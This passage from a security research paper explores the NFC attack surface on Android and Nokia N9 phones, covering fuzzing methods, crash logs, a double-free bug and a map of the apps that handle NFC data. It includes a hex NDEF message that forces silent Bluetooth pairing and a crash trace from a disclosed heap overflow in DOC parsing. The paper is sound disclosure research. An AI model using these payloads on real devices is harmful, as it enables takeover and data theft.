Therefore, the hardware set-up looks something like that in Figure 8, below. Figure 8: Fuzzing hardware setup The final step in fuzzing is to simulate someone placing the device onto the emulated tag. In some cases, you cannot just emulate the tag with a device already in the RF field of an NFC initiator. In order to simulate a device entering the field, a couple of options are available. The first is to kill the NFC process and restart it when the tag is being emulated. A slightly nicer way is to issue the SIGSTOP and SIGCONT signals, respectively, to simulate removing/placing the Nexus S NFC reader. A final way was to enable and disable the NFC service,in the same way the Settings application does it in Android. Fuzzing test cases In general, there are two ways to generate fuzzing test cases, generation based and mutation based. For generation based, we create test cases from “scratch”, using the specification as a guide. For mutation based fuzzing, we take existing valid data and inject faults into it. One of the interesting things about fuzzing is that it turns out using Charlie Miller: Exploring the NFC Attack Surface multiple fuzzers is often superior to using a single fuzzer. Therefore, we use an approach to try to use both mutation and generation based fuzzers as well as incorporate a couple of different types of mutations to add to the valid data. Protocol layer fuzzing On the protocol level, we used only a mutation-based approach since the fields being fuzzed were so simple. We are constrained by the hardware and software which can do device emulation. We only have the ability to emulate Type 2 and Type 4 tags as well as perform basic LLCP connections. For these three types, we can fuzz at a low level, just after the anti-collision. For other types of cards or transactions, we cannot fuzz at a low level. In particular we cannot fuzz Type 1 (Topaz) or Type 3 (FeliCa) protocols at this time. For this low level fuzzing for tags, we used the nfc-emulate-forum-tag2 and nfc-emulate- forum-tag4 programs which come with libnfc, modified to present different data before a valid NDEF was presented. For fuzzing low level Type 2 tags, we fuzz the non-NDEF bytes in the MiFare Ultralight’s memory. Namely, this includes the first 16 bytes of the static memory structure (see section 2.1 in [7]). For type 4 tags, we fuzz the Capability Container file, see section 5.1 of [9]. For LLCP, we use modified versions of the nfcpy software suite. In particular, we fuzz the CONNECT packet and the I (Information) packet (see 4.3.10 in [10]) of the connection. For Android we used the nfcpy script npp-test-client and for for the Nokia N9, we used the snep-test-client. NPP is the NDEF Push Protocol which is used by Android [17]. SNEP is the Simple NDEF Exchange Protocol used by Nokia and other devices [18]. Application layer fuzzing Application layer fuzzing involves creating fuzzed NDEF messages and getting them to the device using one of the available low level protocols. As in the low level protocols, we start with a mutation-based approach. We took many different types of NDEF messages and added mutations to them. Additionally, we utilized a generation-based approach to create more specialized NDEF fuzzing test cases. For this, we utilize the Sulley Fuzzing Framework. We created 11 different test case generation scripts (ndef_*.py) based on a modified version of Sulley. Each will generate many thousands of NDEF test cases to STDOUT. For example, $ ./ndef_short_uri.py | grep -v "^\[" D1010B550036333633393934373931 D1010B550136333633393934373931 D1010B550236333633393934373931 D1010B550336333633393934373931 Charlie Miller: Exploring the NFC Attack Surface D1010B550436333633393934373931 D1010B550536333633393934373931 D1010B550636333633393934373931 D1010B550736333633393934373931 D1010B550836333633393934373931 D1010B550936333633393934373931 ... In the above output, the fifth byte is being mutated. $ ./ndef_short_uri.py | grep "total cases" [10:08.08] fuzzed 0 of 1419 total cases Sulley is designed to do everything from test case generation to sending and monitoring during fuzzing. Since we tend to fuzz esoteric devices, it is not well suited for this, and so my modifications to Sulley are mostly to allow it to print out test cases in a way which are easily read by another program which will be responsible for sending the test cases and monitoring the test device. Results - Nexus S We fuzzed the NFC stack on a Nexus S phone running Android 2.3.3 with the above approaches. This was the most current version when we started fuzzing and I believe is the most up to date version for an AT&T Nexus S using default methods of upgrade. Protocol Layer A total of 12,000 test cases were developed and tested against the low level NFC protocols, see below for details. Device Type Test cases Results/notes Nexus S Type 2 (UL) 4000 18 bytes of MiFare UL memory MiFare 1k/4k Cannot emulate at this time Type 4 (DESFire) 4000 15 bytes of Capacity Container ISO 14443 A-4 (PDU) Nothing interesting to fuzz Type 1 (Topaz) Cannot emulate at this time Type 3 (FelCa) Cannot emulate at this time LLCP - Connect 2000 19 bytes of information, some crashes Charlie Miller: Exploring the NFC Attack Surface Device Type Test cases Results/notes LLCP - I 2000 13 bytes of header information, some crashes Application Layer A total of 52362 test cases were performed against the Nexus S. See below for details. Device Type Test cases Results/notes Nexus S NDEF - bitflip 9000 Mutation-based NDEF - short text 1626 Generation-based NDEF - short URI 538 Generation-based NDEF - short SMS 1265 Generation-based NDEF - short SP 3675 Generation-based NDEF - short BT 1246 Generation-based NDEF - long text 2440 Generation-based NDEF - long vcard 32572 Generation-based Android - Crashes The most common crash found was of the Tags application, which is the default Android NFC tag reader application. This application is written in Java and so crashes correspond to Java exceptions and not, for example, memory corruption. See Figure 9, below, for an example of what a crash looks like on the phone. Charlie Miller: Exploring the NFC Attack Surface Figure 9: Tags application dying The log reveals E/NfcService(17875): failed to parse record E/NfcService(17875): java.lang.ArrayIndexOutOfBoundsException E/NfcService(17875): at com.android.nfc.NfcService $NfcServiceHandler.parseWellKnownUriRecord(NfcService.java:2570) E/NfcService(17875): at com.android.nfc.NfcService $NfcServiceHandler.setTypeOrDataFromNdef(NfcService.java:2616) E/NfcService(17875): at com.android.nfc.NfcService $NfcServiceHandler.dispatchTagInternal(NfcService.java:2713) During low level fuzzing, a different (Java) application, the NFC Service, was also seen to crash, shown in Figure 10, below. The NFC Service is the default Android NFC processing service. . Charlie Miller: Exploring the NFC Attack Surface Figure 10: The NFC service is prone to Java exceptions The log corresponds to something like the series of exceptions below: D/NdefPushServer( 3130): java.io.IOException D/NdefPushServer( 3130): at com.android.internal.nfc.LlcpSocket.receive(LlcpSocket.java:193) D/NdefPushServer( 3130): at com.android.nfc.ndefpush.NdefPushServer $ConnectionThread.run(NdefPushServer.java:70) D/NdefPushServer( 3130): about to close W/dalvikvm( 3130): threadid=8: thread exiting with uncaught exception (group=0x40015560) E/AndroidRuntime( 3130): FATAL EXCEPTION: NdefPushServer E/AndroidRuntime( 3130): java.lang.NegativeArraySizeException E/AndroidRuntime( 3130): at com.android.nfc.ndefpush.NdefPushProtocol.<init>(NdefPushProtoco l.java:97) E/AndroidRuntime( 3130): at com.android.nfc.ndefpush.NdefPushServer $ConnectionThread.run(NdefPushServer.java:86) Charlie Miller: Exploring the NFC Attack Surface Java exceptions are generally pretty boring from a security perspective. However, we did find a few native code crashes in the handling of LLCP packets. One appears to be a null pointer dereference caused by sending a CC (Connection Complete) packet before a CONNECT packet. Other crashes may be more interesting and occur in libc. One frequent crash address found corresponds to a call to abort() in libc. Normally, this isn’t very interesting because programs may call abort when they see something has gone wrong, which in fuzzing, is all the time! However, there is a chance it is significant because the exception may indicate memory corruption. One crash log from an interesting Java exception is: D/NdefPushServer(13178): starting new server thread D/NdefPushServer(13178): about create LLCP service socket D/NdefPushServer(13178): created LLCP service socket D/NdefPushServer(13178): about to accept D/NFC JNI (13178): Discovered P2P Target D/NfcService(13178): LLCP Activation message E/NFC JNI (13178): phLibNfc_Llcp_CheckLlcp() returned 0x00ff[NFCSTATUS_FAILED] I/DEBUG ( 73): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 73): Build fingerprint: 'google/sojua/crespo:2.3.3/ GRI54/105536:user/release-keys' I/DEBUG ( 73): pid: 13178, tid: 13178 >>> com.android.nfc <<< I/DEBUG ( 73): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0000000c I/DEBUG ( 73): r0 afd46494 r1 00000004 r2 00000000 r3 afd46450 I/DEBUG ( 73): r4 00295530 r5 afd46450 r6 00000000 r7 40002410 I/DEBUG ( 73): r8 00000001 r9 0000008a 10 00000002 fp bed9725c I/DEBUG ( 73): ip afd46474 sp bed97220 lr afd10e60 pc afd13d06 cpsr 00000030 I/DEBUG ( 73): d0 bed9734806293705 d1 0000000080542286 I/DEBUG ( 73): d2 000000060000008a d3 0000001500000075 I/DEBUG ( 73): d4 8040a46f0000001d d5 8040a48f00000013 I/DEBUG ( 73): d6 8040a4b600000014 d7 8040a4cc00000015 I/DEBUG ( 73): d8 0000000000000000 d9 0000000000000000 I/DEBUG ( 73): d10 0000000000000000 d11 0000000000000000 I/DEBUG ( 73): d12 0000000000000000 d13 0000000000000000 I/DEBUG ( 73): d14 0000000000000000 d15 0000000000000000 I/DEBUG ( 73): d16 0000000740af0af0 d17 3fe999999999999a I/DEBUG ( 73): d18 42eccefa43de3400 d19 3fbc71c71c71c71c I/DEBUG ( 73): d20 4008000000000000 d21 3fd99a27ad32ddf5 I/DEBUG ( 73): d22 3fd24998d6307188 d23 3fcc7288e957b53b I/DEBUG ( 73): d24 3fc74721cad6b0ed d25 3fc39a09d078c69f I/DEBUG ( 73): d26 0000000000000000 d27 0000000000000000 I/DEBUG ( 73): d28 0000000000000000 d29 0000000000000000 I/DEBUG ( 73): d30 0000000000000000 d31 0000000000000000 I/DEBUG ( 73): scr 60000012 I/DEBUG ( 73): I/DEBUG ( 73): #00 pc 00013d06 /system/lib/libc.so I/DEBUG ( 73): #01 pc 000144be /system/lib/libc.so I/DEBUG ( 73): #02 pc 0004375c /system/lib/libnfc.so I/DEBUG ( 73): #03 pc 00042b84 /system/lib/libnfc.so Charlie Miller: Exploring the NFC Attack Surface I/DEBUG ( 73): #04 pc 000433f4 /system/lib/libnfc.so With some investigation you can see that the source code, found in com_android_nfc_NativeNfcManager.cpp, reveals a classic double-free. 2047 /* Llcp methods */ 2048 2049 static jboolean com_android_nfc_NfcManager_doCheckLlcp(JNIEnv *e, jobject o) 2050 { 2051    NFCSTATUS ret; 2052    jboolean result = JNI_FALSE; 2053    struct nfc_jni_native_data *nat; 2054    struct nfc_jni_callback_data  *cb_data; 2055 2056 2057    CONCURRENCY_LOCK(); 2058 2059    /* Memory allocation for cb_data */ 2060     cb_data = (struct nfc_jni_callback_data*) malloc (sizeof(nfc_jni_callback_dat a)); ... 2081    if(ret != NFCSTATUS_PENDING && ret != NFCSTATUS_SUCCESS) 2082    { 2083       LOGE("phLibNfc_Llcp_CheckLlcp() returned 0x %04x[%s]", ret, nfc_jni_get_status_name(ret)); 2084       free(cb_data); 2085       goto clean_and_return; 2086    } ... 2101 clean_and_return: 2102    nfc_cb_data_deinit(cb_data); 2103    CONCURRENCY_UNLOCK(); 2104    return result; 2105 } The problem is that nfc_cb_data_deinit also calls free() on the buffer cb_data. This vulnerability was fixed in ICS (4.0.1) by Google without my help. You can see by the logging statement bolded in the crash log, this crash really is from this double free. The fix can be seen in the git here: http://218.211.38.204/?p=android/platform/packages/apps/ Nfc.git;a=commitdiff;h=0ce29d75b2e19075f9f287a6bdfd92a7c7e91c13;hp=4467dca565 0a170af5020c10a8ccb25f86f1007f Even though the issue was fixed in ICS, it can still be problematic. For example, all Gingerbread devices with NFC would still have this vulnerability. In fact, over 92% of Android devices still run Gingerbread [19]. Charlie Miller: Exploring the NFC Attack Surface Some other crashes were found during our testing as well which seem likely to be memory corruption vulnerabilities. Due to the fact that logging messages are different than those seen in the last crash we know they are different than the last crash but we could not reliably reproduce them enough to actually find the root cause of these bugs. Some of the backtraces are given below where we’ve added function names in braces to illustrate more clearly the nature of the crashes. The first one is a call to abort() from dlmalloc. It is typical to call abort from dlmalloc if the heap is corrupted in some manner. I/DEBUG ( 73): #00 pc 00015ca4 /system/lib/libc.so <libc_android_abort> I/DEBUG ( 73): #01 pc 00013e08 /system/lib/libc.so <dlmalloc> I/DEBUG ( 73): #02 pc 0001423e /system/lib/libc.so <???> I/DEBUG ( 73): #03 pc 000142ac /system/lib/libc.so <dlrealloc> I/DEBUG ( 73): #04 pc 0001451a /system/lib/libc.so <realloc> I/DEBUG ( 73): #05 pc 0001abf0 /system/lib/libbinder.so <android::Parcel::continueWrite> I/DEBUG ( 73): #06 pc 0001ad0c /system/lib/libbinder.so <android::Parcel::growData> I/DEBUG ( 73): #07 pc 0001ae68 /system/lib/libbinder.so <android::Parcel::writeInplace> DEBUG ( 73): #08 pc 0001aea8 /system/lib/libbinder.so <android::Parcel::writeString16> DEBUG ( 73): #09 pc 0001aed4 /system/lib/libbinder.so <android::Parcel::writeString16> DEBUG ( 73): #10 pc 0001aef8 /system/lib/libbinder.so <android::Parcel::writeInterfaceToken> ... Another crash seen was from a call to abort from dlfree(). This usually occurs due to heap corruption. D/NFC JNI (27180): phLibNfc_Mgt_UnConfigureDriver() returned 0x0000[NFCSTATUS_SUCCESS]^M^M I/DEBUG ( 73): #00 pc 00015ca4 /system/lib/libc.so <libc_android_abort> I/DEBUG ( 73): #01 pc 00013614 /system/lib/libc.so <dlfree> I/DEBUG ( 73): #02 pc 000144da /system/lib/libc.so <free> I/DEBUG ( 73): #03 pc 0004996e /system/lib/libdvm.so <dvmDestroyJNI> I/DEBUG ( 73): #04 pc 00053fda /system/lib/libdvm.so <dvmDetachCurrentThread> I/DEBUG ( 73): #05 pc 000494da /system/lib/libdvm.so <???> I/DEBUG ( 73): #06 pc 00005310 /system/lib/libnfc_jni.so <nfc_jni_client_thread> I/DEBUG ( 73): #07 pc 000118e4 /system/lib/libc.so <_thread_entry> An almost identical backtrace was observed except instead of abort being called, it actually crashed in dlfree: D/NFC JNI (27180): phLibNfc_Mgt_UnConfigureDriver() returned 0x0000[NFCSTATUS_SUCCESS]^M^M I/DEBUG ( 73): #00 pc 00013256 /system/lib/libc.so <dlfree> I/DEBUG ( 73): #01 pc 000144da /system/lib/libc.so <free> I/DEBUG ( 73): #02 pc 0004996e /system/lib/libdvm.so <dvmDestroyJNI> Charlie Miller: Exploring the NFC Attack Surface This crash occurs in unlink_large_chunk inside dlfree() when dereferencing p->bk. A final call to abort from dlmalloc was seen during initialization, I/DEBUG ( 73): #00 pc 00015ca4 /system/lib/libc.so <libc_android_abort> I/DEBUG ( 73): #01 pc 00013e08 /system/lib/libc.so <dlmalloc> I/DEBUG ( 73): #02 pc 000144be /system/lib/libc.so <calloc> I/DEBUG ( 73): #03 pc 000509c8 /system/lib/libdvm.so <dvmInitReferenceTable> I/DEBUG ( 73): #04 pc 000533f8 /system/lib/libdvm.so <???> I/DEBUG ( 73): #05 pc 00053454 /system/lib/libdvm.so <dvmAttachCurrentThread> Since these crashes are not reliably reproducible, it is hard to say if they are all separate or a single bug, or even if they are fixed or not, without further testing and analysis. Results - Nokia N9 We also fuzzed the NFC stack on a Nokia N9 running MeeGo 1.2 Harmattan PR1.2 with the same approaches described above. Protocol Layer A total of 12,000 test cases were developed and tested against the low level NFC protocols, as described below. Device Type Test cases Results/notes Nokia N9 Type 2 (UL) 4000 18 bytes of MiFare UL memory MiFare 1k/4k Cannot emulate at this time Type 4 (DESFire) 4000 15 bytes of Capacity Container ISO 14443 A-4 (PDU) Nothing interesting to fuzz Type 1 (Topaz) Cannot emulate at this time Type 3 (FelCa) Cannot emulate at this time LLCP - Connect 2000 19 bytes of information LLCP - I 2000 13 bytes of header information Application Layer A total of 34852 test cases were performed against the Nokia N9. See below for details. Charlie Miller: Exploring the NFC Attack Surface Device Type Test cases Results/notes Nokia N9 NDEF - bitflip 9000 Mutation-based NDEF - short text 1626 Generation-based NDEF - short URI 538 Generation-based NDEF - short SMS 1265 Generation-based NDEF - short SP 3675 Generation-based NDEF - short BT 1246 Generation-based NDEF - long text 2440 Generation-based NDEF - long vcard 15062 Generation-based Crashes No crashes were detected. Nokia N9 stack FTW, or more likely, my method is flawed in some manner. NFC higher level code So far we have considered the NFC stack responsible for communicating and obtaining NDEF messages from the outside world. Clearly, this is an important part of the attack surface, but it is really just the first piece of the puzzle. What remains to be seen is what the mobile device does with the NDEF data when it receives it. This section answers that question and sees what other components of the device are related to NFC and can be activated and used without user interaction. Nexus S - Android 2.3.3 The first device we reviewed was a Nexus S running Android 2.3.3. As of now, there is no supported way to update a Nexus S with AT&T baseband to Android 4. This device’s support of NFC is pretty basic. Out of the box, NFC is enabled but doesn’t do a whole lot. The device will process NFC data presented to it anytime the screen is on (even if the device is locked). Charlie Miller: Exploring the NFC Attack Surface NFC intents are handled by the Tags application, see Figure 11, below. Figure 11: Tags processing an NFC Smart Poster This Java application just displays the contents but takes no real action. If you tap on the URL, it will open up the application indicated (in this case Browser) with the included data, in this case a URL. By default, the Tags application handles NFC data, but other applications can register for that intent as well. When this happens, depending on the configuration of the app, the new app either handles the NFC data instead of Tags or allows the user to choose which app to handle NFC data, as in Figure 12, below. Charlie Miller: Exploring the NFC Attack Surface Figure 12: The user may choose which app to handle the NFC tag The Tags application can display data from the following categories defined in src/com/ android/apps/tag/message/NdefMessageParser.java in the Android source code: • Text • SMS • Smart Poster • Phone call • Vtag • URL • Image In general, outside of the NFC stack, there is not much on the attack surface of this Android phone. Large portions of the NFC code are written in Java, only a small amount of the codebase is actually native code. Galaxy Nexus - Android 4.0.1 The Galaxy Nexus is an Android phone running Ice Cream Sandwich. It still has some of the same features as the Nexus S, but ICS introduced Android Beam, which greatly increases the attack surface visible through NFC. Out of the box, the device has NFC enabled. It will process NFC data any time the screen is on and the device is unlocked. Charlie Miller: Exploring the NFC Attack Surface For some types of NDEF data, it is exactly the same as the the Nexus S running Gingerbread, using com.android.nfc to hand data off to com.google.android.tag to display to the user. These types of data include: • Text • SMS • Phone • Image However, some types of data that used to be handled by Tags are now handled by Android Beam. Android Beam is a way for two NFC-enabled Android devices to quickly share data such as contacts, web pages, You Tube videos, directions, and apps, see [20]. One can determine which apps are enabled with Android Beam by searching the AndroidManifest.xml files to see which apps handle NFC intents. For example, looking at the Android Browser, we see: <!-- Accept inbound NFC URLs at a low priority --> <intent-filter android:priority="-101"> <action android:name="android.nfc.action.NDEF_DISCOVERED" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="http" /> <data android:scheme="https" /> </intent-filter> The only apps that register for these types of intents are Browser, Contacts, and Tags. When two devices are placed close to each other, if one of them is currently showing something that is “beamable”, the device will prompt the user if they want to send it, as seen in Figure 13, below. Charlie Miller: Exploring the NFC Attack Surface Figure 13: Android asking a user to share the app they’re using, in this case Crime City If the user chooses to beam it, the devices establish an LLCP connection and a simple NDEF message is passed from the device beaming to the other device. The data is sent via Simple NDEF Exchange Protocol (SNEP) with a fallback to NDEF Push Protocol (NPP), see [17,18,21]. In the end, however, the device does not act any differently whether a particular NDEF message is received via LLCP/NPP or simply read from a tag. In other words, the magic of Android Beam has nothing to do with establishing NFC connections between devices but rather relies entirely on how the device is configured to handle different NDEF messages when they arrive. What this means is that now instead of vtags and smart posters being processed by the Tags application, this data is now directly passed to the Contacts or Browser applications. Just to reiterate, this means that on ICS devices, if an attacker can get the device to process an NFC tag, they can get it to visit a web site of their choosing in the Browser with no user interaction. Obviously, the Browser represents an extremely large attack surface, and in ICS, that attack surface is now available through NFC! The Android Browser will parse at least the following formats, if not more: Type File format Web related html css js xml Charlie Miller: Exploring the NFC Attack Surface Type File format Image bmp gif ico jpg wbmp svg png Audio mp3 aac amr ogg wav Video mp4 3pg Font ttf eot The way that Android beam works for the other advertised services is simply through URL handlers. In Android you can bring up Google Play (aka Android MarketPlace), the Maps application, YouTube, etc. through special URLs passed to the browser. In other words, instead of the attack surface looking like Figure 1, it really looks like Figure 14, below. Charlie Miller: Exploring the NFC Attack Surface Figure 14: Actual NFC attack surface if NFC can communicate with the browser Galaxy Nexus - Android 4.1.1 We briefly looked at a Galaxy Nexus running Jelly Bean. It is mostly the same as an ICS device. There are two small changes. One is that it supports NFC simple Bluetooth pairing, like the Nokia N9. However, it always prompts before allowing Bluetooth pairing over NFC. Figure 15 shows an example of the prompt. Charlie Miller: Exploring the NFC Attack Surface Figure 15: Android displays a prompt before establishing a Bluetooth Pairing via NFC The other way Jelly Bean NFC differs is in regards to Android Beam. A few more applications are configured to accept NFC intents. The list is below. • BrowserGoogle • Contacts • Gmail • GoogleEarth • Maps • Phonesky • TagGoogle • YouTube Otherwise, the Jelly Bean build performs identically as an ICS build with regards to NFC. Nokia N9 - MeeGo 1.2 Harmattan PR1.3 The Nokia N9 is a phone running the MeeGo operating system. Out of the box it does not have NFC enabled. Once enabled, It will process NFC data anytime the screen is on. If the device is locked, it will process low level NFC data, but handles high level data differently. None of the attacks outlined later work if the N9 has the screen locked. Charlie Miller: Exploring the NFC Attack Surface Typically, when an NFC message is read, a process called conndlgs (Connectivity Dialogues) displays it to the screen, see Figure 16, below. Figure 16: conndlgs and its simple interface The conndlgs process will display options to “view” or “send” which will open up the appropriate corresponding application or cancel. For example, hitting view for text NDEFs opens up the notes application while hitting view for smart poster NDEFs opens up the web browser, called QTWebProcess. One exception to this rule is Bluetooth pairing. When the device receives an NDEF Pairing request, it automatically attempts to pair to the requesting device. Depending on user settings, this may or may not require user interaction, see Figure 17, below. By default, pairing does not require user interaction. Furthermore, if Bluetooth is disabled, when an NDEF Pairing request arrives, the device will enable Bluetooth for the user. Charlie Miller: Exploring the NFC Attack Surface Figure 17: If the “Confirm sharing and connecting option” is enabled, it forces a prompt before Bluetooth sharing is performed Nokia N9’s also have a similar mechanism to Android’s Beam called Content Sharing. It is possible for one N9 to share data with another N9 over NFC (for small payloads) or over Bluetooth automatically set up via NFC. Using this mechanism one can force a Nokia N9 to display images in Gallery, contacts in Contacts, videos in Videos, and documents such as .txt, .doc, .xls, .pdf, and so forth in Documents. It does not seem to be possible to force it to open the browser but just about everything else is possible. It does not require user interaction, even if the setting “Confirm sharing and connecting” is set to on. The thought of forcing the device to parse arbitrary PDF and MS Office formats is almost as frightening as having it open up web pages! One interesting thing is it doesn’t seem to be possible by default to share audio files via the Music app. However, if you want to, you can share audio files by sharing them through the Videos app. Just set a breakpoint at open64 in the obex-client process, call print strcpy($r0, "/home/user/MyDocs/Movies/mv.mp3") hit continue and the audio file will be shared. The following is a list of the file formats which can be shared though content sharing. Charlie Miller: Exploring the NFC Attack Surface App File type Library used (if known) Contacts vCard Gallery png libpng 1.2.42 - Jan 2010 jpg libjpg 6n - 1998 gif libgif 4.1.6 - 2007 bmp tiff libtiff 3.9.4 - Jul 2010 Videos (video-suite) mp4 wmv 3gp mp3 aac flac wma amr wav ogg Documents (office-suite) pdf poppler 16.6 - May 2011 txt doc(x) docximport.so - KDE 4.74 - Dec 2011 xls(x) xlsximport.so - KDE 4.74 ppt(x) powerpointimport.so - KDE 4.74 Charlie Miller: Exploring the NFC Attack Surface Figure 18: Actual Nokia N9 attack surface Possible attacks Looking at the above discussion, there are a few avenues of attack. We’ll discuss a few in detail. In each of them we assume an attacker can get close enough to an active phone to cause an NFC transaction to occur. We also assume that the screen is on and, when necessary, the device is not locked. This might be getting very close to someone using their phone, putting a device next to a legitimate NFC payment terminal, or using some kind of antenna setup to do it across the room, see [22]. From [23], active reads have been made of NFC from a distance of up to 1.5 meters. Android NFC Stack bug If one were to exploit one of the NFC stack bugs shown earlier in Android, you could imagine exploiting it and getting control of the NFC Service. This isn’t necessarily the best process for an attacker to control. If you look at the AndroidManfiest.xml file for com.android.nfc, you see it does not contain Internet permissions. It will be difficult for an attacker to exfiltrate data over the Internet without this permission, although it is possible, see [24]. However, the NFC Service does have BLUETOOTH and BLUETOOTH_ADMIN, so it is probably possible to establish a Bluetooth connection Charlie Miller: Exploring the NFC Attack Surface with the attacker. As we’ll see for the N9 below, if an attacker can bluetooth pair with the device, it is possible to take complete control of the device. Android Browser Since an attacker can force an active device to display an arbitrary web page, armed with an Android browser exploit, an attacker can compromise an active device with an NFC tag. In this case, the attacker will be running code in the browser itself and not in the NFC service. N9 Bluetooth pairing If the N9 has NFC enabled and does not have “Confirm sharing and connecting” enabled (see Figure 17), if you present it a Bluetooth Pairing message, it will automatically pair with the device in the message without user confirmation, even if Bluetooth is disabled. An example of such an NDEF message is [0000] d4 0c 27 6e 6f 6b 69 61 2e 63 6f 6d 3a 62 74 01 ..'nokia.com:bt. [0010] 00 1d 4f 92 90 e2 20 04 18 31 32 33 34 00 00 00 ..O... ..1234... [0020] 00 00 00 00 00 00 00 00 00 0c 54 65 73 74 20 6d ..........Test m [0030] 61 63 62 6f 6f 6b acbook In this message, a PIN is given as “1234”, a Bluetooth address, and a name of the device are also provided. Once paired, it is possible to use tools such as obexfs, gsmsendsms, or xgnokii to perform actions with the device. Basically, if a user just enables NFC and makes no other changes to the device, it can be completely controlled by an attacker if the attacker can get it read an NFC tag. On the other hand, If you have “Confirm sharing and connecting” enabled, a prompt appears that looks like that seen in Figure 19, below. Charlie Miller: Exploring the NFC Attack Surface Figure 19: The prompt raised if notification is required A similar attack against a Nokia 6212 was outlined in [25] except the authors didn’t know how to make the device complete the pairing process and so tried additional ways to try to activate the Bluetooth. Also, due to the fact they never succeeded in pairing, they uploaded an app instead of trying to control the device. Finally, on the 6212, by default, the device prompted before pairing where by default the N9 does not. N9 bugs If the victim has the Confirm sharing and connecting feature enabled, then the attacker will have to resort to Content Sharing as an attack vector. Recall that without user interaction, it is possible to force the Nokia N9 to parse and display a variety of file formats, oftentimes in outdated libraries. If one were to try to use PNG files, for example, the version of PNG shipped on the latest N9 firmwares is 1.2.42. There are at least two critical vulnerabilities that have been found and patched since that release, as shown in [26]. If one wanted to find their own vulnerabilities, they would just have to spend some time fuzzing. To demonstrate this, we briefly fuzzed the Documents application on the Nokia N9. Here are a couple of interesting crashes that we found, as seen in valgrind. Charlie Miller: Exploring the NFC Attack Surface First a crash for PPT rendering, ==3572== Thread 2: ==3572== Invalid free() / delete / delete[] / realloc() ==3572== at 0x48347B4: free (vg_replace_malloc.c:366) ==3572== by 0x5DE780F: free_mem (in /lib/libc-2.10.1.so) ==3572== by 0x5DE71F7: __libc_freeres (in /lib/libc-2.10.1.so) ==3572== by 0x48285B7: _vgnU_freeres (vg_preloaded.c:61) ==3572== by 0x5DB5AC3: __libc_enable_asynccancel (libc-cancellation.c:66) ==3572== by 0x6826CAF: ??? (in /lib/libglib-2.0.so.0.2800.4) ==3572== Address 0x7491f30 is not stack'd, malloc'd or (recently) free'd Here is one for PDF rendering. ==4002== Invalid write of size 1 ==4002== at 0x7290FB4: SplashXPathScanner::clipAALine(SplashBitmap*, int*, int*, int) (in /usr/lib/libpoppler.so.13.0.0) ==4002== Address 0xf8dc5090 is not stack'd, malloc'd or (recently) free'd Finally, here is one in DOC rendering. (Note, this is a 0-day not only for Nokia N9 via NFC, but also for Koffice, which utilizes the same libraries). The following excerpt comes from the file koffice-2.3.3/filters/kword/msword-odf/wv2/src/styles.cpp. bool STD::read( U16 baseSize, U16 totalSize, OLEStreamReader* stream, bool preservePos ) ... grupxLen = totalSize - ( stream->tell() - startOffset ); grupx = new U8[ grupxLen ]; int offset = 0; for ( U8 i = 0; i < cupx; ++i) { U16 cbUPX = stream->readU16(); // size of the next UPX stream->seek( -2, G_SEEK_CUR ); // rewind the "lookahead" cbUPX += 2; // ...and correct the size for ( U16 j = 0; j < cbUPX; ++j ) { grupx[ offset + j ] = stream->readU8(); // read the whole UPX } ... In this function, it allocates a buffer for the array grupx based on a parameter passed to this function. It then fills in this array based on an unsigned short read in directly from the file, stored in the variable cbUPX. In this case, the length of a copy and the data being copied is read directly from the supplied file, which leads to an ideal heap overflow. Depending on the way memory is manipulated, it is possible to get control of the process using this vulnerability. Below demonstrates one such trial. Program received signal SIGSEGV, Segmentation fault. 0x18ebffaa in ?? () (gdb) bt #0 0x18ebffaa in ?? () #1 0x41f61f64 in wvWare::Parser::~Parser() () from /usr/lib/libkowv2.so.9 #2 0x41f6537c in ?? () from /usr/lib/libkowv2.so.9 #3 0x41f6537c in ?? () from /usr/lib/libkowv2.so.9 (gdb) x/2i 0x41f61f5c Charlie Miller: Exploring the NFC Attack Surface 0x41f61f5c <_ZN6wvWare6ParserD2Ev+232>: ldr r12, [r3, #4] 0x41f61f60 <_ZN6wvWare6ParserD2Ev+236>: blx r12 (gdb) print /x $r3 $3 = 0x41414141 In this case, a value read from the file is used as a pointer. This data where this pointer points is then read and used as a function pointer. With minimal work, this would lead to control of program flow and ultimately code execution. Summary Any time a new way for data to enter a device is added, it opens up the possibility of remote exploitation by an attacker. In the case of NFC, a user would typically think that the new data would be limited to just a few bytes embedded in an NFC tag. This document shows that the new attack surface introduced by NFC is actually quite large. The code responsible for parsing NFC transmissions begins in kernel drivers, proceeds through services meant to handle NFC data, and eventually ends at applications which act on that data. We provide techniques and tools to carry out fuzzing of the low level protocol stacks associated with NFC. At a higher level, for both the Android and MeeGo device we examined, it is possible through the NFC interface to make the device, without user interaction, parse web pages, image files, office documents, videos, etc which most users of NFC would probably be surprised to learn. NFC offers convenience to share files and games as well as make mobile payments. However, since anytime an attacker is in close proximity to a victim, she can force the victim’s device to parse one of over 20 different formats without user interaction, it has to raise security concerns. Charlie Miller: Exploring the NFC Attack Surface Acknowledgements This was a long project, mostly out of my comfort zone. I’m sure I’m forgetting some people but here is a list of folks I’d like to thank for their help in no particular order. Accuvant: Gave me a paycheck while letting me do this work Cyber Fast Track: Partially funded all this work Josh Drake: Android exploitation help Crowdstrike (especially Georg Wicherski) For sharing and walking me through their Android browser exploit Michael Ossmann: GNU Radio help Travis Goodspeed: Help with N9 basics Kevin Finisterre: Bluetooth help Corey Benninger and Max Sobell: GNU Radio and basic NFC stuffs Collin Mulliner: For trying to help me do NFC memory injection, although I never used it Adam Laurie: For convincing me that you could do card emulation successfully Jon Larimer: For pointing out one of my crashes corresponded to the double free they fixed in 4.0.1 Shawn Moyer: For proofreading this doc! Charlie Miller: Exploring the NFC Attack Surface References [1] ISO 14443 Part 2: Radio frequency power and signal interface http:// www.waazaa.org/download/fcd-14443-2.pdf [2] NFC and GNU Radio, part 1, Miller, https://www.openrce.org/repositories/users/ camill8/nfc-usrp.pdf [3] NFC and GNU Radio, part 2, Miller, https://www.openrce.org/repositories/users/ camill8/nfc-usrp-2.pdf [4] ISO 14443 Part 3: Initialization and anticollision http://www.waazaa.org/download/ fcd-14443-3.pdf [5] Type 1 Tag Operation Specification http://apps4android.org/nfc-specifications/ NFCForum-TS-Type-1-Tag_1.1.pdf [6] Interview: Karsten Nohl http://www.thetechherald.com/articles/Interview-Karsten- Nohl-Mifare-Classic-researcher-speaks-up/6954/ [7] Type 2 Tag Operation Specification http://apps4android.org/nfc-specifications/ NFCForum-TS-Type-2-Tag_1.1.pdf [8] 